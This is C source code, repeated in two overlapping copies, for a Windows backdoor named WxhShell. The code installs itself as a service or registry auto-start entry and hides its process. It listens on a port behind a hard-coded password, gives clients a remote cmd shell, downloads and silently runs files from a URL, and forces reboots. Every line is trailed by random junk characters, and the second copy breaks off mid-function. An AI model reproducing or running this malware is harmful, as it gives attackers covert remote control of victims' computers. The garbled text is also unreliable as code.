    if(Boot(SHUTDOWN)) <Q57}[$*)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N:R6 b5 =}  
    else { n(X{|?  
    closesocket(wsh); "FuOWI{in  
    ExitThread(0); 2P\k;T(  
    } W,sU5sjA  
    break; D5]AL5=Xt2  
    } -64@}Ts*?  
  // 获取shell /<[S> ;!kr  
  case 's': { &6]+a4  
    CmdShell(wsh); '?| (QU:)F  
    closesocket(wsh); ?:StFlie  
    ExitThread(0); %v}SJEXF p  
    break; 0e./yPTT  
  } 'XW[uK]w)  
  // 退出 >?Y)evW  
  case 'x': { 05sWN0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;8F|Q<`pV  
    CloseIt(wsh); /zt9;^e  
    break; \9;SOAv  
    } vjo@aY.x  
  // 离开 j^4KczJl  
  case 'q': { zk6al$3R  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 'u9,L FO  
    closesocket(wsh); 8H2zM IB  
    WSACleanup(); 3k YVk  
    exit(1); N$'/J-^  
    break; 2!-?  
        } Q1ox<-  
  } Kmy'z  
  } P9d%80(b4  
mM`zA%=  
  // 提示信息 jM <=>P  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /"~ D(bw0=  
} ZtzSG@f  
  } 1 zo0/<dk  
3C:!\R  
  return; ^3>Qf  
} MHF31/g\  
Z|78>0SAt  
// shell模块句柄 M.DU^-7  
int CmdShell(SOCKET sock) J#k3iE}  
{ '(ZJsw  
STARTUPINFO si; )gX7qQ  
ZeroMemory(&si,sizeof(si)); z@70{*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4}i2j  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; SW94(4qo  
PROCESS_INFORMATION ProcessInfo; LwPZRE#  
char cmdline[]="cmd"; fj 14'T  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _:R Q9x'  
  return 0;  (~59}lu~  
} :S['hBMN  
ioIOyj  
// 自身启动模式 Drn{ucIs  
int StartFromService(void) Kmk}Yz  
{ Z`_`^ \"  
typedef struct 8}B*a;d  
{ w@K4u{|  
  DWORD ExitStatus; W|~Jl7hs8Q  
  DWORD PebBaseAddress; #=}dv8  
  DWORD AffinityMask; o0yyP,?yh  
  DWORD BasePriority; v~l_6V}  
  ULONG UniqueProcessId; * ':LBc=%  
  ULONG InheritedFromUniqueProcessId; *.'9eC0s  
}   PROCESS_BASIC_INFORMATION; F'v3caE  
3Jt7IM!9[  
PROCNTQSIP NtQueryInformationProcess; B~%'YQk  
O?p8Gjf  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8|-j]   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; oK-T@ &-  
MU  }<-1  
  HANDLE             hProcess; ywSV4ZtM  
  PROCESS_BASIC_INFORMATION pbi; E$u9Jbe  
';'TCb{f*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *8QESF9  
  if(NULL == hInst ) return 0; N}$$<i2o  
_oV;Y`_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); z XI [f  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >"OwdAvX  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); i146@<\G{P  
L9lNAiOH  
  if (!NtQueryInformationProcess) return 0; |*G$ilu  
dz3KBiq  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xH,D bAC;  
  if(!hProcess) return 0; bCV3h3<  
TO(2n8'fdO  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; MC 8t"SB  
5} v(Ks>  
  CloseHandle(hProcess); 'ycr/E&m{  
>e g8zN  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); t)#d R._q  
if(hProcess==NULL) return 0; 9/8#e+L  
+*I'!)T^B  
HMODULE hMod; uTWij4)a  
char procName[255]; y v$@i A  
unsigned long cbNeeded; |8QXjzH  
oVD)Fb%[i9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); u~uR:E%'C  
z%4E~u10  
  CloseHandle(hProcess); {Df97n%h;  
 #  
if(strstr(procName,"services")) return 1; // 以服务启动 1 #zIAN>  
N WSm  
  return 0; // 注册表启动 )aV\=a |A  
} "mbjS(-eg  
}NH\Q$IU  
// 主模块 fXL&?~fS  
int StartWxhshell(LPSTR lpCmdLine) \n&l  
{ wgN)*dpuI  
  SOCKET wsl; P#8+GN+bF  
BOOL val=TRUE; aEO``W  
  int port=0; QNN*/n  
  struct sockaddr_in door; n+sV $*wvS  
wqB 5KxO  
  if(wscfg.ws_autoins) Install(); 3Y;<Q>roT  
9_$i.@L 1  
port=atoi(lpCmdLine); T%[&[8{8  
yLC5S3^1\"  
if(port<=0) port=wscfg.ws_port; &J]|pf3m  
4 6yq F  
  WSADATA data; [Iwb7a0p  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; m L#%H(  
lmsO 6=I4F  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   35;UE2d)<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); x|7vN E=Q  
  door.sin_family = AF_INET; {?!0<0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `4xnM`:L"  
  door.sin_port = htons(port); Wzn!BgxRr  
JU6PBY~C'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {vp|f~}zTw  
closesocket(wsl); A`#/:O4|f  
return 1; 7Gos-_s  
} >V01%fLd  
I^u$H&  
  if(listen(wsl,2) == INVALID_SOCKET) { !,SGKLs.m  
closesocket(wsl); Q; V*M  
return 1; p{V_}:|=Q  
} L~Hl?bK  
  Wxhshell(wsl); `wMHjcUP  
  WSACleanup(); MrW*6jY@  
<FkoWN  
return 0; @nh* H{  
OBCH%\;g  
} <P%<EgOE  
FX->_}kL=  
// 以NT服务方式启动 2!w5eWl,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $ ]fautQlt  
{ Mnv2tnU]  
DWORD   status = 0; w!5@PJ)~U  
  DWORD   specificError = 0xfffffff; D*nNu]|j  
lI)RaiMr=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; pv}k=wqJ1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; t+H=%{z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \{GBaMwG~  
  serviceStatus.dwWin32ExitCode     = 0; v M lT  
  serviceStatus.dwServiceSpecificExitCode = 0; g?9IS,Gp  
  serviceStatus.dwCheckPoint       = 0; . `ND  
  serviceStatus.dwWaitHint       = 0; doX8Tq   
FX yyY-(O  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2 &(w\#'  
  if (hServiceStatusHandle==0) return; 8V08>M  
8Qo~zO  
status = GetLastError(); yF _@^V  
  if (status!=NO_ERROR) C.#\ Pz0  
{ US.7:S-r"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; q^I/  
    serviceStatus.dwCheckPoint       = 0; =JR6-A1>  
    serviceStatus.dwWaitHint       = 0; 5PRS|R7  
    serviceStatus.dwWin32ExitCode     = status; NCXr$ES{  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2w7PwNb*32  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #^] v5s  
    return; 4PcsU HR  
  } H[x$65ND  
p`PBPlUn  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6Hh\ys  
  serviceStatus.dwCheckPoint       = 0; R.Uwf  
  serviceStatus.dwWaitHint       = 0; O:I"<w9_1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xMpQPTte  
} /A4^l]H;+3  
&Q>tV+*  
// 处理NT服务事件,比如:启动、停止 k^%Kw(/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) fqY; > Z  
{ `w;8xD(  
switch(fdwControl) fPA5]a9  
{ 2VZdtz  
case SERVICE_CONTROL_STOP: JO&~mio  
  serviceStatus.dwWin32ExitCode = 0; xh90qm  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >QcIrq%=  
  serviceStatus.dwCheckPoint   = 0; Vzmw%f)_+  
  serviceStatus.dwWaitHint     = 0; 7<Yf  
  { L3@upb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %77X/%.Y  
  } z2 m(<zb  
  return; l_MF9.z&  
case SERVICE_CONTROL_PAUSE: </jzM?i  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; zZhA]J  
  break; c9 7?+Y^  
case SERVICE_CONTROL_CONTINUE: CD"D^\z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 89kxRH\IhG  
  break; j{`C|zg  
case SERVICE_CONTROL_INTERROGATE: }j_2K1NS{  
  break; KT9!R  
}; *Bm7>g6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C@ns`Eh8w  
} BB.^[:,dA  
*^@{LwY\M  
// 标准应用程序主函数 d'okXCG  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) gR]NH  
{ nF#1B4b>  
aQTISX;  
// 获取操作系统版本 d siQ~ [   
OsIsNt=GetOsVer(); Pc:5*H  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 26D,(Y$*  
z5_#]:o&  
  // 从命令行安装 )[]*Y]vSx  
  if(strpbrk(lpCmdLine,"iI")) Install(); `alQmGUZ  
..=WG@>$+  
  // 下载执行文件 c(j|xQ\pE  
if(wscfg.ws_downexe) { ox&PFI0Gn  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4owM;y  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2|re4  
} n5G|OK0,  
%p(!7FDE2n  
if(!OsIsNt) { ~M !9E])  
// 如果时win9x,隐藏进程并且设置为注册表启动 Y;uQq-CP  
HideProc(); N6%wHNYZ  
StartWxhshell(lpCmdLine); ^F?}MY>  
} .m^L,;+2  
else e%wzcn  
  if(StartFromService()) {pR4+g  
  // 以服务方式启动 ~ 7^#.  
  StartServiceCtrlDispatcher(DispatchTable); xaw)iC[gI{  
else |Vj@;+/j  
  // 普通方式启动 EG&97l b  
  StartWxhshell(lpCmdLine); )/{zTg8$?/  
=U- w!uW  
return 0; q[ -YXO  
} Jjr&+Q^3Tu  
v*[oe  
-KA Y  
"pa2,-&  
=========================================== \}p!S$`  
oWP3Y.  
~B704i  
j YVR"D;  
JsA.j qkB  
[zw0'-h.  
" +~{Honj[  
vWh]1G#'p[  
#include <stdio.h> &&s3>D^Ta  
#include <string.h> f$|AU- |<  
#include <windows.h> Ix59(g  
#include <winsock2.h> tSf$`4  
#include <winsvc.h> :g~X"C1s  
#include <urlmon.h> PZ[hH(EX  
DKnlbl1^?  
#pragma comment (lib, "Ws2_32.lib") _t7}ny[  
#pragma comment (lib, "urlmon.lib") sWKe5@-o0  
eJ"je@vvrK  
#define MAX_USER   100 // 最大客户端连接数 f[s|<U^  
#define BUF_SOCK   200 // sock buffer gbvMS*KQz  
#define KEY_BUFF   255 // 输入 buffer a@ v}j&  
O>tz;RU  
#define REBOOT     0   // 重启 ,"xr^@W  
#define SHUTDOWN   1   // 关机 V\6V&_  
; VH:dg  
#define DEF_PORT   5000 // 监听端口 _+*+,Vx  
nb|KIW  
#define REG_LEN     16   // 注册表键长度 ,CED%  
#define SVC_LEN     80   // NT服务名长度 p2I9t|  
l RM7s(^l  
// 从dll定义API tM DJ,rT  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6!T9VL\=H  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /YrBnccqD  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); q?0&&"T}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =&,<Co1hF  
+aoenUm5  
// wxhshell配置信息 eR|u']Em>T  
struct WSCFG { d #vo)>  
  int ws_port;         // 监听端口 =6Q\78b  
  char ws_passstr[REG_LEN]; // 口令 $s S;#r0  
  int ws_autoins;       // 安装标记, 1=yes 0=no sL",Ho  
  char ws_regname[REG_LEN]; // 注册表键名 1{Kv  
  char ws_svcname[REG_LEN]; // 服务名 ODFCA. t  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5==hyIy  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 DV!10NqUr  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @lhjO>@#I  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6cVJu%<V  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Vm]xV_FOd  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 R|g50Q  
|EZ\+!8N:{  
}; 3bBCA9^se  
{"vTaY@  
// default Wxhshell configuration Bbj%RF2,  
struct WSCFG wscfg={DEF_PORT, *m6h(8(7Z  
    "xuhuanlingzhe", rUxjm\  
    1, 3k_bhK zI  
    "Wxhshell", s,|"s|P  
    "Wxhshell", Tg yY 9  
            "WxhShell Service", KSgYf;  
    "Wrsky Windows CmdShell Service", (`)ZR %i  
    "Please Input Your Password: ", S-2@:E  
  1, vhE^jS<Tg  
  "http://www.wrsky.com/wxhshell.exe", M$$Lsb [  
  "Wxhshell.exe" (CR]96n  
    }; kD\7wz,ui  
yLgv<%8f  
// 消息定义模块 oU)Hco"_k  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5i1E 5@~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Hpj7EaMZ_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; es!>u{8)  
char *msg_ws_ext="\n\rExit."; X6-;vnlKN  
char *msg_ws_end="\n\rQuit."; ANuO(^  
char *msg_ws_boot="\n\rReboot..."; bB+ 4  
char *msg_ws_poff="\n\rShutdown..."; TJ_pMU  
char *msg_ws_down="\n\rSave to "; qx f8f  
VXP@)\!  
char *msg_ws_err="\n\rErr!"; r>_40+|&  
char *msg_ws_ok="\n\rOK!"; "STd ;vR  
cUj^aTpm  
char ExeFile[MAX_PATH]; svRYdInBNu  
int nUser = 0; C-tkYP  
HANDLE handles[MAX_USER]; YwU[kr-i  
int OsIsNt; *o}7&Hw#9f  
r~YxtBZH+  
SERVICE_STATUS       serviceStatus; BIY"{"hJ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; o XFo  
epGC Ta  
// 函数声明 JuD&121N*  
int Install(void); :v B9z  
int Uninstall(void); |7)oX  
int DownloadFile(char *sURL, SOCKET wsh); ;km^ OO$  
int Boot(int flag); q(\kCUy!  
void HideProc(void); mkuK$Mj  
int GetOsVer(void); N!%[.3o\K  
int Wxhshell(SOCKET wsl); n`.JI(|  
void TalkWithClient(void *cs); e5$S2o~JF  
int CmdShell(SOCKET sock); C0gO^A.d  
int StartFromService(void); SQ la]%  
int StartWxhshell(LPSTR lpCmdLine); XP^[,)E  
,!vI@>nhG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ddzMwucjp  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); t|?eNKVV9'  
V: n\skM  
// 数据结构和表定义 d=eIsP'h  
SERVICE_TABLE_ENTRY DispatchTable[] = :x3"Cj  
{ F10TvJ U  
{wscfg.ws_svcname, NTServiceMain}, [9d4 0>e  
{NULL, NULL} `Rx\wfr}  
}; %V|n2/O Y  
/2>.*H_2  
// 自我安装 NnRX0]  
int Install(void) &a!MT^anA~  
{ !X4m6gRaP  
  char svExeFile[MAX_PATH]; CLgfNrW~  
  HKEY key; uN@El1ouY  
  strcpy(svExeFile,ExeFile); 9?tG?b0  
p+#]Jr  
// 如果是win9x系统,修改注册表设为自启动 S0w:R:q}L  
if(!OsIsNt) { !:3X{)4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V.}3d,Em%]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YB]{gm2  
  RegCloseKey(key); S+bpWA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8 k )i-&R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +'9E4Lpx  
  RegCloseKey(key); agd^ga3  
  return 0; D9JHx+Xf>  
    } UIC~%?oIA  
  } q$'D}OHT  
} v2Vmcc_]9x  
else { >4&0j'z"  
KsQn%mxS  
// 如果是NT以上系统,安装为系统服务 N(`XqeC*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Pos(`ys;  
if (schSCManager!=0) h9kwyhd"  
{ \49s;\I]  
  SC_HANDLE schService = CreateService "sYZ3  
  ( 3QDz9KwCAw  
  schSCManager, ?$.JgG%Z+g  
  wscfg.ws_svcname, :B~m^5  
  wscfg.ws_svcdisp, lf\x`3Vd  
  SERVICE_ALL_ACCESS, LnPG+<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , q0{_w  
  SERVICE_AUTO_START, +1nzyD_E  
  SERVICE_ERROR_NORMAL, W H%EC$  
  svExeFile, >e!Y63`  
  NULL, .'bhRQY  
  NULL, J1Run0  
  NULL, @_0tq{  
  NULL, H;MyT Vl  
  NULL `r]C%Y4?  
  ); =Q#d0Q  
  if (schService!=0) 2H/{OQ$  
  { mo"1|Q&  
  CloseServiceHandle(schService); y\_k8RqE^  
  CloseServiceHandle(schSCManager); #ri;{d^6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); m4?a'z"  
  strcat(svExeFile,wscfg.ws_svcname); qIwsK\^p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4 q\&Mb3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Y=D\  
  RegCloseKey(key); [ d`m)MW-  
  return 0; -I[KIeF  
    } NqM=Nu\  
  } "V`5 $ur  
  CloseServiceHandle(schSCManager); nd }Z[)  
} `L%<3/hF  
} _R}yZ=di  
Lk.tEuj=82  
return 1; QzxEkTc;  
} ?2,{+d |  
&qP0-x)  
// 自我卸载 bnZ H  
int Uninstall(void) nP_)PDTFp  
{ ART0o7B  
  HKEY key; BS3{TGn  
m(`O>zS  
if(!OsIsNt) { F+!9T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a U*}.{<!  
  RegDeleteValue(key,wscfg.ws_regname); \_x~lRqJJ  
  RegCloseKey(key);  54#P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  'Pxq>Os  
  RegDeleteValue(key,wscfg.ws_regname); CU:HTz=  
  RegCloseKey(key); g3f; JB   
  return 0; QUDpAW  
  } NAOCQDk{  
} 7^C&2k 5G  
} iN_P25Z<r  
else { /[!<rhY  
g(i8HU*{q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $LVzhQlD  
if (schSCManager!=0) [eFJ+|U9  
{ .DM-&P  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \h?6/@3ob  
  if (schService!=0) @VQ<X4 Za  
  { l{*Ko~g  
  if(DeleteService(schService)!=0) { _*E j3=u  
  CloseServiceHandle(schService); e.fxB  
  CloseServiceHandle(schSCManager); &+3RsIl W  
  return 0; H5*#=It  
  } 10xza=a  
  CloseServiceHandle(schService); a(LtiO  
  } FKUo^F?z  
  CloseServiceHandle(schSCManager); Bj GfUQ  
} q:=jv6T#  
} Dus!Ki~8(t  
0lV;bVa%  
return 1; Mh MXn;VKj  
} HPg%v |  
}<zbx*!  
// 从指定url下载文件 +S WtHj7e  
int DownloadFile(char *sURL, SOCKET wsh) ]Ljb&*IEj  
{ Q\>mg*79  
  HRESULT hr; - ,?LS w  
char seps[]= "/"; $%4<q0-  
char *token; Cbp zYv32  
char *file; Qq'e#nI@  
char myURL[MAX_PATH]; GWLdz0`2_  
char myFILE[MAX_PATH]; =~5N/!  
5H 1N]v+  
strcpy(myURL,sURL); _l+C0lQl=  
  token=strtok(myURL,seps); tEt46]{  
  while(token!=NULL)  O*.n;_&  
  { #M4LG; B  
    file=token; 5~ZzQG  
  token=strtok(NULL,seps); qOIVuzi*  
  } ;NE4G;px4<  
5A<}*T  
GetCurrentDirectory(MAX_PATH,myFILE); ydA@@C\&  
strcat(myFILE, "\\"); p{:y?0pGN  
strcat(myFILE, file); CM%;/[WBxy  
  send(wsh,myFILE,strlen(myFILE),0); ?J-\}X  
send(wsh,"...",3,0); yL),G*[p\}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >TiE Y MW  
  if(hr==S_OK) /8!n7a7  
return 0; /;{L~f=et)  
else jT!?lqr(Rb  
return 1; %hlgLM  
sVGQSJJ5  
} pjl>ZoOM  
e7bMK<:r  
// 系统电源模块 *Mb'y d/|  
int Boot(int flag) v+}${h9  
{ :LlZ#V2  
  HANDLE hToken; A}}dc:$C  
  TOKEN_PRIVILEGES tkp; 6nR EuT'k  
3SI0etVr  
  if(OsIsNt) { HA7%8R*.2i  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); O /:FY1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \w"~DuA  
    tkp.PrivilegeCount = 1; *K|ah:(r1\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .;qh>Gt  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); R$66F>Jz^  
if(flag==REBOOT) { xR8.1T?8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) c{ +bY .J  
  return 0; 8vtembna4  
} ,LP^v'[V7  
else { \Rb:t}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^do6?e`?-  
  return 0; >#'?}@FWQN  
} ^b}Wl0Fn  
  } Od ^Sr4C  
  else { -Sn'${2  
if(flag==REBOOT) { LAY:R{vI  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _*n `*"  
  return 0; m OE!`fd  
} FD&^nJ_{  
else { ly35n`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =FI[/"476  
  return 0; bC~I}^i\  
} 5pC}ZgEa<  
} t`{T:Tjc  
$4~Z]-38#A  
return 1; G "!v)o  
} ?L0k|7  
9_,f)2)~W  
// win9x进程隐藏模块 1Lk(G9CoY  
void HideProc(void) ez.a  
{ ;<thEWH;Y  
>fth iA  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); s$? LMfT  
  if ( hKernel != NULL ) &CSy>7&q  
  { 3"< 0_3?W  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "^!y>]j#A  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *,%$l+\h  
    FreeLibrary(hKernel); u`.)O2)xU  
  } gujP{Z  
&xhwOgI#,  
return; ZO%iyc%  
} Hb::;[bm:  
iRlpNsN  
// 获取操作系统版本 }ijQ*ECdl  
int GetOsVer(void) IGT9}24  
{ SD{)Sq  
  OSVERSIONINFO winfo; DW78SoyedZ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $evuL3GY#  
  GetVersionEx(&winfo); Kd5 8'$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `'sD(e  
  return 1; !lo /L  
  else ' |B3@9<  
  return 0; **kix  
} /*k_`3L  
jl&Nphp  
// 客户端句柄模块 Qubu;[0+a  
int Wxhshell(SOCKET wsl) 8.8t$  
{ m&gB;g3:  
  SOCKET wsh; ]d@>vzCO  
  struct sockaddr_in client; 6hv.;n};  
  DWORD myID; Bt(<Xj D  
h9CTcWGt  
  while(nUser<MAX_USER) {7@*cB qN  
{ s</qT6@  
  int nSize=sizeof(client); 6 h,!;`8O  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3NDddrL9  
  if(wsh==INVALID_SOCKET) return 1; Z+J4 q9^$  
\`xlD&F@U  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %)?jaE}[  
if(handles[nUser]==0) i,a"5DR8  
  closesocket(wsh); Iia.`"S  
else A;RV~!xx  
  nUser++; ^bfZd  
  } FX|&o >S(8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4C%pKV  
<Nqbp  
  return 0; {.jW"0U  
} ) y;7\-K0  
_/noWwVu  
// 关闭 socket O0xqA\  
void CloseIt(SOCKET wsh) $ P?^GB>u  
{ 3]*1%=~X/  
closesocket(wsh); I 4?oBq  
nUser--; /\h*v!:  
ExitThread(0); ?_^{9q%9  
} Q N#bd~  
j]<K%lwp  
// 客户端请求句柄 B5|\<CF  
void TalkWithClient(void *cs) 9 %4:eTcp  
{  ;tZQ9#S  
@x+2b0 b  
  SOCKET wsh=(SOCKET)cs; 2wIJ;rh  
  char pwd[SVC_LEN]; !e~[U-  
  char cmd[KEY_BUFF]; C` ky=  
char chr[1]; >20dK  
int i,j; `(0B09~7  
z<vh8dNl  
  while (nUser < MAX_USER) { 4,c6VCw3+  
Z%B6J>;uM  
if(wscfg.ws_passstr) { X(*O$B{ R  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l[ $bn!_ e  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); & rab,I"  
  //ZeroMemory(pwd,KEY_BUFF); 1VlU'qY  
      i=0; fM4B.45j  
  while(i<SVC_LEN) { I*3}erT  
z_fjmqa?  
  // 设置超时 -HQbvXAS  
  fd_set FdRead; -LszaMR}  
  struct timeval TimeOut; xi(\=LbhY  
  FD_ZERO(&FdRead); o25rKC=o  
  FD_SET(wsh,&FdRead); Lm2) 3;ei  
  TimeOut.tv_sec=8; uI/ wR!  
  TimeOut.tv_usec=0; , i5_4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); tj[E!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &~Hed_  
znwKwc8,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Nb`qM]&  
  pwd=chr[0]; (;},~( 2B  
  if(chr[0]==0xd || chr[0]==0xa) { IUFc_uL@\  
  pwd=0; @nY]S\if  
  break; }ARA K^%  
  } K8_v5  
  i++; HT.*r6Y>g  
    } yQ N{)rv  
^D$|$=|DH  
  // 如果是非法用户,关闭 socket \xCCJWek  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); h&$h<zL[  
} yEI@^8]s  
2.Qz"YDh =  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?zf3Fn2y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zR^Gy"  
gYc]z5`  
while(1) { Oti*"dV\::  
wc4BSJa,19  
  ZeroMemory(cmd,KEY_BUFF); ]2wxqglh)  
#Or;"}P>fB  
      // 自动支持客户端 telnet标准   o6k#neB>=.  
  j=0; $z jdCg<  
  while(j<KEY_BUFF) { 5?^L))  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x1.S+:  
  cmd[j]=chr[0]; /q]rA  
  if(chr[0]==0xa || chr[0]==0xd) { vyIH<@@p7  
  cmd[j]=0; E>|X'I?r^  
  break; *(F`NJ 3  
  } WYUDD_m  
  j++; mOsp~|d  
    } =Nxkr0])!  
WQ.0}n}d  
  // 下载文件 1*TbgxS~W  
  if(strstr(cmd,"http://")) { WK>|IgK  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^Fco'nlM  
  if(DownloadFile(cmd,wsh)) >Q\Kc=Q|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {7OHEArv  
  else c0gVW~I1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #4msBax4  
  } I4X9RYB6c  
  else { 3N2d V6u  
;/j2(O^  
